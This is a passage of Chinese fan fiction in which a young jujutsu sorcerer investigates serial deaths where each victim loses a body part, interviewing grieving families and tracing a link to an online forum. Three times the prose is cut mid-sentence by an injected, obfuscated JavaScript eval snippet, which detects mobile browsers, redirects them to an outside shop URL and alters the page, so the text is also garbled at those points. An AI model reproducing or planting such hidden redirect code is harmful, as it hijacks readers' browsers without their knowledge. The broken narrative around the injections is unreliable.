看出她要走,黑尾有些意外,“你现在就要回去?” 千早没有回头看两人,嗯了一声道:“我要回去早点睡了,明天应该很早就会出门。” 黑尾仿佛没有察觉到异样,起身把她送出房间,“晚安。” 千早没有回头只摆了摆手道:“你们两个也晚安。” 研磨的视线落在千早离开的背影上一直到她的身影从门口消失,指尖在桌面上轻敲。 - 直到千早离开黑尾家,她的肩膀才耸拉下来。 问就是怕两个幼驯染发现她的异常,如果他们知道自己是现在就出发,甚至有可能好几天都回不来的话,大概率会生气。 事后生气总比现在就朝她生气强。 千早家距离黑尾家并不远,短短两三分钟的路程,这条路她从小到大走过无数遍,再试熟悉不过。 虽然现在时间才不过晚上七点多,但是这一片都是住宅区,哪怕是最近的便利店也在几百米外,所以周围一片显得很安静。 她缓步走到家门口。 并没有熟悉的黑色轿车,距离新田小姐到这边接她应该还有一段时间。 千早掏出钥匙打开防盗门,屋里漆黑一片,她抬手摸到墙壁上的开关。 “啪”的一声,走廊天花板上的灯被点亮,发出暖黄色的光。 千早在玄关换了鞋,脱下的鞋子被她踢到鞋柜边,歪歪扭扭地靠在一起。 她越过那双鞋没有整理,直接走上二楼回到自己的房间,她一边开门一边拉下红色运动服的拉链,露出里面黑色的制服。 窗帘紧紧拉着,她早上出门的时候忘了拉开。 千早上前把窗帘拉开,使外面微弱的月光透过窗户照进房间里,她制服领口处的漩涡式纽扣反射出一点点微光。 千早转身走到衣柜面前,拉开衣柜门将脱下的运动服一一挂好。 虽然严格来讲,今年是千早作为咒术师工作的第一年,但从她被五条带出孤儿院后,她外出祓除咒灵过无数次。 像今天这样突然的出差,也不是第一次了。 背包被她放到书桌上,她没有准备换洗衣物或者其他日用品,打算到了地方直接买新的,最后只看向床头插着的手机充电器。 她给手机充上电后开始懒散地在房间里消磨时间,一直在床头的手机发出嗡嗡两声她才坐回床边。 是新田小姐通知她可以出门的消息。 千早拔下手机充电器,放入口袋。 她快步下楼,打开鞋柜穿上运动鞋。 大门外,一辆不起眼的黑色轿车停在路边,新田小姐倚靠在车门边,看到千早的身影后,高举手臂朝她挥手。 “晚上好,朝比奈同学。” “晚上好。” 两人打过招呼,没再过多寒暄,直接坐进车里。 千早坐进后排,眼睛在后排的位置上扫了一眼,什么都没有看到,以往都会有一份任务相关资料放在这里。 她从后排探出头,看向前面的新田问道:“新田小姐,任务资料呢?” 新田系上安全带,闻言苦笑一声:“这个……其实这次的案件有些复杂,恐怕需要到高专去一趟。” 千早了然,刚想说既然如此为什么不直接让她去高专,突然想起通往高专的巴士车辆很少,而且这个时间大概已经停运了。 在郊外的话,确实会有这种不方便的地方。 许是因为这一次的事件确实有些严峻,一路上新田都没有怎么跟千早搭话。 千早注意到这一点,便也闭上嘴没有过多打扰对方。 车子不知道开了多久,终于抵达高专。 两侧树林黑漆漆的,只能看到高专内有些许亮光。 千早每一次经过这里,都感觉这里面藏着一堆小动物。 车子缓缓驶进停车场,最后在一个空位上停了下来。 两人打开车门走下车。 不知道是不是千早的错觉,她总觉得这里的温度要比市区内清爽许多,虽然还是能隐隐约约闻到那股霉味。 新田带着千早直奔伊地知所在的办公室。 白炽灯将整条走廊照亮,办公楼里此时依旧有其他辅助监督在忙碌。 毕竟是六月份,也算是咒灵的高发期,虽然咒灵一整年里好像也没有安稳一点的时候,但对于咒术师来说,六月份确实是个格外繁忙的时期。 千早扫了一眼与她擦肩而过,手里抱着一摞文件,匆匆忙忙往楼梯口跑的辅助监督,深表同情。 但只要一想到自己也是那个马上要开始工作的打工人,千早又觉得其实自己也挺命苦。 新田在一扇紧闭的门前停下脚步,抬手不轻不重地敲了三下。 “进来。” 下一秒门内传来伊地知的声音,新田拉开门,侧身示意千早先进去。 办公室不算宽敞,几张办公桌并列排在一起,角落里摆着几张折叠椅,桌上的纸张已经堆成一摞小山,不仅如此有的桌子上还堆着几样不知道是什么的东西。 伊地知坐在最中间的那张办公椅上,看到千早走进来,立刻从椅子上站起来,语气中带着几分疲倦。 “朝比奈同学,辛苦了。” 千早看了看他眼下愈发严重的青黑色,摇摇头走到他的办公桌前,直奔主题: “新田小姐说这次的案件有些复杂,要我回高专这边了解情况,到底是怎么回事?” 伊地知在回答千早的问题之前,率先看了一眼墙上的时钟。 晚上九点四十五分。 “因为…可能还会有新的资料送过来,所以才想着先叫你过来了解一下情况。” 千早没有错过他的视线,有些疑惑他话中的含意追问道:“新的资料?事件还处于调查中?” 怪不得跟她说可能需要出差几天,如果是调查结束只需要祓除咒灵的话,任务目标和地点都足够明确,来去一趟花不了多长时间。 但如果是还处于调查中的事情,就不好说了。 伊地知从‘文件山’最上面拿下几张资料,递到千早面前。 千早伸手接过,开始查看第一张资料。 是受害人信息。 受害人名为藤村拓郎,21岁,老家大阪如今在京都上大学,死亡时间为五月二十四日二十三点八分三十二秒,死因是心源性猝死,左手不翼而飞。 剩下的都是关于藤村拓郎的生平履历,交友关系等。 千早将第一页翻过去,开始看第二页。 早川麻里,17岁,名古屋人高中二年级,死亡日期不同,但死亡时间、死因同藤村拓郎一样,失去头部。 第三页。 松川悠太,18岁,北海道人高中三年级,这边是失去手臂。 千早接着往下翻,越看眉头皱得越紧。受害人年龄、出身地所在地皆有不同,可以说是毫无关联,除了日期并不完全一致以外,死因以及精准到秒数的死亡时间完全一致,并且每个人都失去了身体的一部分。 最后两个受害人死亡日期是昨天。 现在千早明白伊地知说有可能还会有新的资料送过来的理由了。 千早把资料翻回第一页,重新看了一遍。 “死亡地点呢?”她一边看资料一边抬眼问道。 伊地知摇了摇头,“关于这一点,大部分受害人死于家中,只有几个晚上外出打工的是死在了路上。” “关于几名受害人的关联性我们还在全力调查,现在还没有什么收获,只是目前受害人的年龄最大的也只有27岁,而最小的是还在上初中的小孩子,死因全部相同,我们目前掌握的情报就只有这些了。” 目前为止,受害人共计十人,每个人丢失的身体部位都不同,但这些丢失的部位组合在一起的话…… 千早从桌子上的笔筒中抽出一支圆珠笔,又拿了一张空白草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伊地知找出一个平板递给她。 千早接过,手指在平板屏幕上划了几下,确认资料确实跟纸质版相同。 时间一点一点流逝,此时办公室里只剩下千早一个人,伊地知早已被她赶回去休息。 她躺在折叠椅上,双眼阖着,并没有进入深度睡眠,确保一有新消息,她马上能爬起来查看。 清晨五点。 传真机突然开始嗡嗡作响。 高专的传真机可以自动收取文件,不需要人工操作。 听到响动,一整晚躺在折叠椅上休息的千早第一时间睁开眼睛,马上坐起来从折叠椅上站起身。 她走到传真机旁,等待着第一张纸从里面吐出来,她伸手放在传真机口。 第一张纸掉出来直接落在她的手上,千早顺势抬起手中的资料浏览起来。 果然,依旧是昨天晚上说的那起事件。 出现了新的受害人。 时间、死因全部对得上,而缺失部位是之前出现过的,右腿。 不仅如此。 千早看向旁边依旧在轻微响动的传真机。受害人不止一个。 等传真机彻底恢复到原本安静的状态,除了第一张纸以外,千早手里又多出来了两张纸。 这说明,昨晚的受害人共有三个。 这个咒灵,一晚上能够杀害的人数变多了,最开始是一个然后两个,而昨天它已经能够同时杀害三个人。 这三名受害人失去的身体部位都是前面出现过的。 是循环。 一个人还不够,它还想要两个人三个人……?甚至可能是更多人? 等待新田过来接的时间里,千早把电子版的情报也更新完了。 她顺便帮助伊地知解决了一个不知道放在桌子上多久了的面包,但她看了保质期,没过期可以放心吃。 七点钟,新田准时出现在办公室里。 “早上好,朝比奈同学。” 千早会以一个浅笑,“早安新田小姐。” 千早把平板和平板的充电器拿上,跟着新田一起前往停车场。 轿车慢慢驶出高专。 千早看着文件上的第一个受害人,藤村拓郎。 “先跟我坐新干线去一趟大阪然后再去一趟京都吧。” 千早准备从第一个受害人的身上开始调查。 她手拿平板,正准备给受害人按照时间地点等考量分个先后顺序。 却被兜里的震动声吸引了注意力。 打开一看,是黑尾发来的短信。 不是让她打工加油,是让她好好休息身体最重要。 千早露出一抹浅笑,直到她看到了黑尾发来的第二条信息。 一条质疑她‘真的能准时,能成为上学日从床上爬起来起床的女人吗’的短信 千早发了个气鼓鼓的表情包回去。 最后附上一句鼓励。 千早:“小黑,比赛加油。” 其实千早对于这次的关东大会并没有抱有太大的希望,毕竟三年级在那儿呢。 就算他们打的很糟糕,现在也不适合让一年级代替他们出场上比赛,除非队里有人受了伤,这种情况下替补是必不可缺的。 但他们马上就要引退了, 17. 第 17 章 千早和新田下了新干线后,直奔第一个受害人藤村拓郎的老家。 藤村家在大阪市区的一栋普通公寓楼里,红色的外墙,墙皮有些脱落,整栋大楼看起来都有些老旧,像是很久没有请人修缮过,楼道天花板上的声控灯时灵时不灵,忽暗忽明。 千早二人走到506室门前,门边的名牌上写着“藤村”二字,名字下面还有一个红色的门铃按钮。 新田在门前站定,回头看了千早一眼。 千早朝她点点头,新田下定决心,抬手按了一下门铃。 等了好几秒,都没有任何反应,新田只能又按了一遍。 门铃声第三次响起时,门才被人从里面打开,一位五十岁左右的妇人打开门从里面探出头来。 她头发有些花白,用一根极其普通的黑色发绳系着,垂落下来的碎发散落在耳边,身上穿着一件黑色的连衣裙,黑眼圈十分严重,眼睛里不满红血丝,脸上没有什么表情。 看起来已经有一段时间没有好好休息。 女人声音有些沙哑地疑惑道:“请问,你们是……?” 新田拿出相关证件对女人展示,语气放得很轻:“请问是藤村夫人吗?关于您儿子的情况我们想再了解一下。” 女人沉默一瞬,低着脑袋看向地面不肯抬头,“又是警察吗?你们不是已经来过很多次了吗?” 即使这样说,女人依旧打开了门,侧身让出位置。 “请进。” 说完她也不管身后的两人进没进来,直接转身,一步一步缓慢地朝屋内走去。 千早跟在新田后面换好鞋,走进藤村家的客厅。 客厅收拾得很干净整齐,沙发上的靠垫都一丝不苟地摆放着,然而茶几上却放着一个烟灰缸,里面堆满烟头烟灰,连茶几上都落着些许烟灰。 女人倒了两杯燕麦茶放在茶几上,推向两人,她随着动作看见烟灰缸时,明显愣了一下小声念叨了一句什么,弯腰拿起烟灰缸倒掉里面的垃圾,将烟灰缸收了起来。 “请坐。” 女人说完这句话,自己也坐了下来与两人面对面。 新田与千早挨着坐在一起,新田本来想自己问询,刚要张口,但却被千早在茶几的遮挡下扯了下袖子。 于是她闭上嘴,把问询的工作交给千早。 考虑到自己的打扮看起来并不怎么可靠,尤其是能够挡住半张脸的刘海,千早便在来的路上将过长的刘海用卡子别住,露出光洁的额头和一双湖蓝色的眼睛。 被这双眼睛直视的时候,会有一瞬间的失神。 明明看起来还很年轻,但是此时却让女人有种说不出来的压迫感。 她不自觉地坐直了一点,两只手不安地摩挲着膝盖。 “首先,请问您的儿子拓郎先生是一个怎样的人?” 千早的问题并不难回答。 女人没怎么思考,直接开口答道:“他是一个很开朗的孩子,喜欢交朋友喜欢接触新事物。” 说完她起身走向客厅靠墙的书柜,从里面抽出一本册子。 她将册子递给千早。 “这是他高中毕业后开始用的相册。” 千早接过相册放在桌面上摊开,里面是藤村拓郎的照片,有的是跟景色,有的是跟人。 相片上的景色各不相同,有山,有水有农田。 人也是一样,偶尔才会有相同的人出现在不同的照片上,但更多的却是只在照片上出现过一次的人,其中甚至有不少其他人种。 确实,看起来像是一个性格很外放的人。 这种人应该会很受欢迎,但是也很容易遭人厌恶。 千早看到最后合上相册向女人道谢,接着问道:“那么,您对他的交友关系有多少了解?比如有没有什么曾经与他决裂的人,或者是讨厌他的人?” 女人绝口否认,“不可能,拓郎他走到哪里都会交到很多好朋友,从小的时候开始就是孩子王,而且就算交了女朋友也都会认真对待对方,跟前女友也都是和平分手。” 看她的态度,好像真的不会对这方面有多少信息。 千早起身道:“能让我们去拓郎先生的房间看一下吗?” 女人愣了几秒,有些疑惑急忙道:“好...好的,这边请。” 她走在前面带路,穿过客厅,在一扇门前停下来,伸手握住门把手,像是为了给自己做心理建设一般停顿了一下,然后才按下把手,推开门。 “就是这间。” 千早站在门口,没有立刻进去。 她先是环视了一圈整间房间,看起来并没有什么可疑。 六叠左右的房间,窗户半开着,屋内却没有多少灰尘,显然经常做清洁。 千早往里走了两步,进到房间里。 床铺得很整齐,电脑桌靠窗上面只有电脑屏幕和主机等电子设备,电脑桌旁边立着被装得满满的书架,房间中间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“麻里她……原本是一个天真活泼的孩子,她爱笑爱玩,像一个天使一样。” 千早在心里默默接了一句‘但是’。 然后男人接着道:“但是,最近几个月,她突然变了。” 千早抬眼,看向脸上充满痛苦的男人。 “我...我不知道她遇到了什么事情,不管我和妻子怎么询问她都不肯告诉我们。而且从半年前开始,她突然不愿意再去上学,性子变得孤僻,也不愿意与我们多沟通。” 18. 第 18 章 早川麻里跟藤村拓郎并没有什么关联点。性格不同,经历的事情不同,生活环境也不同,更别说两人之间也没有任何交集。 但却被卷进同一场事件。 这实在反常。 千早在沙发上看着早川爸爸抹了一会儿眼泪,她没有催促给足了男人时间,然后在他停下抽泣时她抓住空隙站起身道:“我能去你女儿房间看一看吗?” 男人看起来丝毫不介意自己在两个看起来明显小自己很多的女性面前痛哭这件事。 也可能他已经顾及不到这些。 他目光有些迟钝等缓过劲来后,看起来也并不怎么觉得尴尬,站起身走向楼梯口声音极其沙哑:“...当然。” 不管是装的还是真的,至少目前看来这是一位很爱女儿的父亲。 如果说外面的客厅和走廊干净整洁的话,那么早川麻里的房间可以说是有些凌乱。 生活气息十足,仿佛主人只是离开房间几分钟马上回来。 掀开的被子堆在床脚,书桌上随意摆放的书本和笔记本电脑,以及房间门口放着的还未拆封的快递。 千早和新田走进早川麻里的房间。 千早蹲下身,拿起放在门口的快递晃了晃,有些重量买的应该不是小饰品之类的,快递收件人自然是受害人早川麻里。 她查看了上面的签收时间,是受害人死亡之后。 千早将手中的快递放回原位,站起身走到环顾房间。 床上的枕头歪在一旁,床单皱皱巴巴,床头柜上放着盏台灯和几本杂志。 千早拿起杂志翻看几页,只是普通的时尚杂志封面上是两个青春靓丽的女模特,杂志内容有教衣服如何穿搭之类的情报,但对来查事件的千早她们来说没有什么有用信息。 千早将杂志放回床头柜,走到书桌前。 书桌靠窗,整面书桌都被撒上阳光。 书桌上放着一台关闭的笔记本电脑,几本课本和一个本子。 本子的外皮十分可爱,鲜嫩的蓝粉色和一些可爱的小动物做装饰。 千早翻开本子的第一页。 第一行字写着10月3日。这是早川麻里的日记本。 千早对窥探他人隐私没什么兴趣,直接跳过前面部分,她手指捏住纸张的一角翻过去,最后翻到男人曾提到的半年前的部分,也就是早川麻里开始不对劲的时期。 [12月14日 今天我在学校里被爱理她们泼了一身水。 她们怎么可以这样对我?我只是拒绝给她们买名牌化妆品而已,也许妈妈说的是对的,她们跟我交朋友只是为了让我帮她们买单而已。 如果明天她们还这样欺负我的话,我一定不会原谅她们,我要把事情告诉爸爸妈妈和老师。 希望她们明天可以恢复原状。] 字迹比前面那些略显潦草,显然日记本的主人在写这一篇日记的时候有些烦躁。 [12月15日 课间我离开了教室,回到教室里打开笔袋,发现里面被放了一堆死虫子,虽然我没有看到是谁,但我知道是她们。 但是无所谓了…… 她们怎么能这么对我,我一直以为她们是爱我的,为什么? 是我做错了什么吗?] 千早手指依旧捏着这一页的一角,却没有立刻翻到下一页。 目光在‘她们’二字上停留许久,这里被稍微晕染开了一点,写的时候应该是有水滴在了上面。 第一个‘她们’和第二个‘她们’指的应该不是同一批人,第一个她们指的是学校里的同学,也就是前一天的日记里提到过的爱理。 显然比起学校里的同学朋友,第二个她们带给早川麻里的痛苦更多。 千早手里拿着翻开的日记本,转身面向站在门外始终不肯进来的目光有些涣散的男人,“早川先生,您知道爱理这个人吗?” 早川愣了一下,他看向千早手里拿的本子,却又马上移开视线答道:“认识,她是麻里在学校的朋友。” 千早继续发问:“她们认识多久了?” 男人道:“高中开学之后。” “早川麻里有其他朋友吗?” “有的,我们家麻里在高中还有其他朋友,初中的时候朋友也不少。” 那么第二个她们,指的会是过去的朋友吗?还是…… 千早看向男人露出微笑,“感谢您的解答。” 她的笑容很短,嘴角微微扬了一下便马上收了回去。 千早目光落回日记本上,手上动作不停,继续翻动日记本。 12月16...17...18...19...记录的内容都不长,全是一些抱怨和一些比较伤感的话,显然她很伤心。 [12月21日 今天,我看到爸爸和一个不认识的阿姨一起逛街了。 就是这个人吧。 爸爸妈妈之前谈话里提到的她,爸爸跟她在一起的时候看起来很开心,比跟妈妈在一起的时候还要开心,他一直在笑。 那妈妈呢?妈妈跟她的出轨对象在一起的时候,是不是也是这样? 爸爸妈妈到底为什么要出轨?是我不够乖吗?是我给她们添了太多麻烦了吗? ……爱理的事情,还是不要说了,如果说了之后她们嫌弃我给她们惹麻烦,我该怎么办? 她们会不会离婚,会不会组建新的家庭,会不会…… 会不会已经有了别的小孩?] 千早摸了摸纸页上的字迹,有些字因为用力过猛笔尖划破了纸张。 早川麻里在半年前发生改变的原因,已经很明显了。 校园霸凌只是其中一小部分原因,主要原因在于她的家庭,她的父母。 千早拿出一张书签夹在这一页,合上日记本后举起它朝门外的男人晃了晃。 “早川先生,您知道这是什么吗?” 男人点了点头有些茫然,“麻里的日记本,但是我们没有看过,之前她妈妈不小心看了她的日记,她闹了好几天别扭,我们不敢看怕她生气。” 闹别扭,不敢看,怕她生气。 看来亲子关系非常不错,至少这对父母是尊重孩子的。 “我问一个比较私人的问题,您跟您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479956|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的夫人感情如何?” 听到这个问题,男人的眉头不由自主地皱了一下,他嘴唇动了一下,张开又合上最后再次张开:“……这跟麻里的事情有什么关系吗?” 千早回答得模棱两可,“或许有或许没有。” 男人犹豫了许久最终还是告诉了千早,“我们,算是朋友吧。我跟她妈妈是联姻,没有什么感情,婚前各自有恋人,婚后也依旧没有变,不过我们没有因为这件事情闹过矛盾,早在婚前我们就达成了共识。” “麻里是我们唯一的孩子,即使我跟她妈妈在外面有恋人,我们也不会闹出私生子的事情来,我们很爱她。” 这可真是…… 千早有些无奈地摇了摇头,她打开日记本继续翻看起来。 但日记后面却没什么有用信息了,甚至在一个月前,早川麻里就不再继续写日记。 显然早川麻里已经失去了写日记的兴趣,也可能只是单纯得没有理由或者是没有东西可以写了。 千早合上日记本朝房间门口走去,把日记本递向男人。 她的手臂伸直,日记本悬在两个人之间。 “或许,如果你们当时好好谈一谈的话……” 千早没有说下去,但话语里未尽的意思已经让男人白了脸,他脸上的血色一点一点褪下去,嘴唇不自主地抖动起来。 早在千早问他与妻子之间的感情时,他就隐隐已经有了猜测,如今更是落实了他的猜想。 他瞬间红了眼眶,双手接过日记本的时候微微有些颤抖。 “谢谢您。” 千早没有说话,她回到房间,继续探查,新田跟在她旁边帮忙做记录,笔尖在纸面上滑过记录下一个个字,发出沙沙的声响。 千早最后拿起放在门口的快递,看了下上面的快递单,是亚马逊快递。下单时间是在半个多月之前,但快递却是这几天才送达,时间隔了很久。 这就是千早不喜欢网购,尤其不喜欢用亚马逊的原因。 他们的发货时间总是很晚。 想到这里千早不自觉撇下嘴,她拿着快递起身再次回到书桌前,拿起笔筒里的一把美术刀把快递拆开。 里面是几本书,书大小不一地摞在一起,显然不是什么同系列的小说。 千早将书从快递盒里拿出来放到桌面上,她看了这几本书的封面一眼。 几本关于祭祀的书, 祭祀。 很少会有年轻人对祭祀感兴趣,如果是需要研究相关内容的大学生也就算了,一个高中生很少会对这些感兴趣,甚至到了会买相关书籍的地步。 早川先生在客厅的时候也说过,早川麻里是一个很喜欢时尚很时髦的姑娘,会专门研究发型和妆容,而对于这些东西显然是不怎么感兴趣的,甚至她的历史成绩有些差。 尤其是早川麻里的下单时间很微妙,下单没几天她便遇害,时间挨得太近了。 这两者之间,或许有什么关联。 但如果有关系的话,那么早川麻里又是从哪个渠道了解到祭祀这种事情的? 小说?亲朋好友口中?老家还是网络? 19. 第 19 章 两人从早川麻里家出来时已经接近傍晚。 夕阳把整条街道染成昏黄色,千早站在门口眯了眯眼,等眼睛适应光线后才走下台阶。 新田手中拿着记录用的笔记本,看了一眼腕表上的时间叹了口气:“这个时间,即使我们现在赶去北海道,恐怕也要明天才能去松川家了。” 千早走到车前,“不用去北海道了。”她的声音不大,但语气很确定,像是早就想好了这件事一样。 新田正要按下车钥匙解锁键的手顿住,“不去北海道了?” 说出问题的同时,她的手指才按下去,车灯闪了两下,解锁的声音响起。 千早拉开车门,弯腰坐进后座,“去酒店订房间,今天我们先休息一下,顺便等待资料传回来。” 新田坐进驾驶座,系好安全带,但没有立刻发动车子。 她的手指搭在方向盘上,“你是发现了什么吗?” “早川麻里在半年前,拒绝上学,拒绝出门,甚至连房间都很少出。”千早的指尖在膝盖上一点一点。 “这样的人,如何接触祭祀这种对她来说的新事物?”千早继续说下去,“我猜警方没怎么调查过受害者们的电脑。” 新田回想了一下目前从警方获得的已知信息,手指跟着千早的节奏一起轻轻敲了几下方向盘,“好像目前是只查了受害人们的聊天记录和社交账号,但是并没有获得什么有用的情报,加上后来发现案件的发展比较……不太合乎常理,就直接转到我们这边了。” 千早靠在座椅上,目光落在车窗外街道旁的绿植上。 也就是说因为案件极有可能跟所谓的灵异扯上关系,就直接放手不管了吗? 也不是不能理解,毕竟超出他们的范畴了,更何况谁会把电子设备和灵异关联到一起? 车子驶出住宅区,汇入晚高峰的车流中,新田双手握住方向盘,在红灯前停下车。 “到了酒店后,联系一下警方那边,或者干脆让各地的辅助监督去每一位受害者家里查一下他们的电脑,不管是社交软件还是网页浏览记录还是其他什么,都要查。” 千早说完,闭上眼睛。 指尖停止了敲击,双手一动不动地搭在膝盖上。 新田从后视镜里看了她一眼,“好的。” 她的声音放得很轻,像是不确定千早是不是打算休息。 绿灯亮起,车子重新启动汇入车流。 车子在酒店旁的停车场停下时,天色已经彻底暗了下来。 新田熄火下车,走进酒店到前台办理入住,千早站在大堂的沙发旁等待。 大堂里有股淡淡的香薰味道,不浓若有若无地飘在空气里,气味跟以前去过的无印良品店里的有点像。 千早站在沙发边,一只手垂在身侧,另一只手拿出手机,准备看看上面有没有什么未读信息。 通知栏上空空荡荡的,没有任何消息。 她暗灭手机屏幕刚要收回去,就感觉到手机在手中震动起来。 拿到眼前一看,屏幕亮起。 上面显示着来电通知,备注【黑尾铁朗】。 千早盯着屏幕上的四个字看了一会儿,按下了接听键将手机放到耳边。 “喂?” 黑尾的声音从听筒里传出来,带着一点嘈杂的背景音,像是在外面。 “你还没下班?” 千早下意识地抬头,看了一眼酒店大堂里的时钟,七点二十五分。 她把手机换到另一边耳朵旁,“嗯,快了怎么了?” 黑尾的声音听不出是开心还是失落,“你不是想看比赛录像,但是刚才我跟研磨去你家发现没人。你几点下班?” 千早看了一眼电梯的方向,新田已经办完入住手里拿着两张房卡,现在正站在电梯门口等她。 “呃……”千早张了张嘴,有些为难,“其实我现在不在东京。” 电话那头沉默一瞬,像是没想到会听到这个答案。 “那你在?”黑尾有些惊讶问道。 千早抿了一下嘴唇,“名古屋。” “…名古屋?”黑尾重复了一遍,像是在确认自己没有听错,语气有些困惑道:“你打工怎么跑到名古屋去了?” “就是...”千早试图找出一个听起来合理的解释,“你懂得,家族企业之类的。” 黑尾很想说他不懂,比如一个在打工的高中生是怎么跟家族企业这种词扯上关系的。 但他只是说,“那你大概什么时候回东京?” 千早愣了一下,她本以为小黑会追问,但他并没有。 “不一定,快的话明天,慢的话……后天或者大后天?”千早大致估算了一下,尾音微微上扬,声音里带着些许不确定。 黑尾道:“好,那到时候一起看录像?” 千早点头,点完才想起他看不到又张嘴道:“好...对了,小黑比赛结果?” 在她问出这个问题的时候,其实大概已经猜到了答案,如果赢了的话,小黑会在第一时间告诉她,不管是打电话,还是发消息都会告诉她,此时小黑没有主动提起的原因,她大概知道,但还是问了。 电话那头再次沉默下去,这一次的沉默比之前都要长。 “输了。”黑尾声音很平静,像是在说一件无关紧要的事情,“下午场的比赛,2比1输了。” 千早有些不知道该说什么,她不太会安慰人,从小到大都是这样,黑尾和研磨也已经习惯了这一点。 再加上千早知道,小黑此时并不需要自己的安慰。 “对面的拦网很强,”黑尾继续说,像是在给她解释的同时也在给自己做复盘,“二传打到后期心态有点崩。” 二传。 三年级的石川。 千早已经不想再评价这个人,干巴巴地鼓励道:“下次赢回来。” 黑尾声音很轻地笑了一下,“好。” 千早抬头看向电梯口,新田依旧站在那里等她。 “小黑,我先挂了。”千早不想让人等太久,“我会尽量早点完成工作赶回去的。” “嗯。”黑尾说,“早点休息。” “你也是。” “晚安。” “晚安。” 千早挂断电话,把手机放回口袋。 新田看到她的动作,抬手点下电梯旁的向上键,手指挪开露出下面被按亮的按键。 新田有些好奇地看着走过来的千早,声音雀跃地问道:“难道是男朋友吗?” 千早尽量维持住自己的扑克脸,语调与平时没有丝毫变化,“幼驯染。” 新田拉长语调地“哦”了一声,没有继续问,但脸上的表情已经出卖了她内心的想法,嘴角的弧度压都压不住。 电梯门打开,两人走进去。 新田按下七楼,电梯门缓缓关闭,狭小的空间里顿时只剩下电梯运转的低沉声响。 “朝比奈同学,”新田看着电梯门映出的两人的倒影,嘴角的笑意还没完全收回去:“我刚刚已经联系过伊地知前辈了,最迟明天中午就能给我们回复。” 千早侧头看了新田一眼,“好,那在那之前我们就好好休息,为接下来的事情做好准备工作。” 电梯门打开,千早走出去。 走廊里的灯光比电梯里要暗一些,地毯是深灰色,踩上去没有任何声响。 “明天早上八点,我去你房间找你。”千早看着新田递过来的房卡,捏住房卡边缘收下。 “好的。”新田说完也不打算继续闲聊,点点头走向另一个方向。 千早拿着房卡走到房间门前,刷开房门走进去。 里面漆黑一片,她将房卡放到卡槽里,门口的灯瞬间亮起。 房间内窗帘拉着,暖黄色的柔和灯光填满整个房间。 千早扫了一眼房间内,一张床、小圆桌、卫生间、以及电视机和小冰箱。 住一晚上足够用了。 - 没有熬夜,没有睡眠不足。 早上七点半闹钟响起的同时,躺在被子里睡觉的千早睁开双眼。 她伸手摸向床头柜上放着的手机,手指精准地找到屏幕上闹钟关闭的按钮,按掉闹钟。 千早从床上坐起身,被子顺着她的动作滑下去,堆在腰际。窗帘还紧紧拉着,只有缝隙里透出一丝晨光。 她没有在床上多待,直接掀开被子起身,穿上床边的一次性拖鞋,走向卫生间。 泼到脸上的冷水让她清醒不少,她直起身拿下挂在旁边的毛巾擦干脸。 洗漱好,千早回到床边,将搭在椅背上的制服拿起换上,换好衣服她拿起东西就走,她带的东西少到甚至不需要回头检查一下。 差不多快到昨晚约定好的时间,千早走到新田的房间门前,抬手敲了两下。 门几乎是立刻就被从里打开,新田已经换好衣服,黄色的短发也已被打理好,看起来比千早起得更早一些。 “早上好,朝比奈同学。”新田说。 “早上好。” 千早走进新田的房间,房门关上发出轻微的声响。 虽然新田昨天说过大概中午的时候会来消息,千早还是顺嘴问了一下,“伊地知先生那里有消息了吗?” 新田摇摇脑袋,“还没有。” 千早并不觉得失望,耸了下肩,“那去吃早饭吧。” 两人乘坐电梯下到一楼。 前台的服务员换了人,是个扎着低马尾的年轻姑娘,看到她们笑着微微点头。 “酒店定了多久?”走出酒店时,千早突然问道。 新田一边朝停车场走,一边答道:“以防万一,我定了两晚。” 两人走到黑色轿车旁,拉开车门坐进去。 街道两旁的店铺很多还没有开门,卷帘门拉下来,或者是店铺的大门紧锁。两人干脆去了二十四小时营业的吉野家。 店里的人不少,有些是脸上带着浓厚倦意刚刚结束工作下夜班的客人,有些则相反头发梳得整齐,是正准备去上班的客人。 空气里飘着牛肉丼的香气。 千早和新田点了同样的套餐,餐桌上放着大桶的乌龙茶,千早拿起它给两人各倒了一杯。 上餐的速度很快,没过一会儿,两份冒着热气的牛肉丼就被放到两人面前。 牛肉片平铺在米饭上,酱汁渗透进去。 千早拿起筷子,吃了几口,速度很快,像是为了完成任务一样咀嚼几下就咽下去,另一边新田的态度则更鲜活一些。 她表情放松,慢慢享用着早餐,“果然吉野家的味道就是好啊。” 千早没有扫兴,点了点头。 两人把碗里的饭吃完,走出吉野家重新回到酒店,来到新田的房间等伊地知那边传来消息。 时间接近中午时,新田的手机震动起来,她几乎是瞬间就拿起手机,看了一眼屏幕。 “是伊地知前辈。”新田说。 千早从椅子上站起身,走向新田。 新田点开邮件,快速地扫了一遍内容,然后抬起头看向千早。 “找到了,所有受害人的关联之处。” 千早把椅子拉到床边坐下,看着新田,“电脑?” 新田点点头,“是的,所有受害人在被害前几天都曾登录过一个匿名论坛。” 千早起了些兴趣,“论坛叫什么?” 新田脸上表露出一丝迟疑,似乎不知道该不该把网站名字说出来,嘴巴张张合合就是不肯说出论坛名字。 千早挑起眉尾,干脆将头探向新田的方向。 新田有些尴尬地快速说了一遍名字:“……交流板。” 因为声音太小说得又快,千早只听清了最后三个字,“什么?” 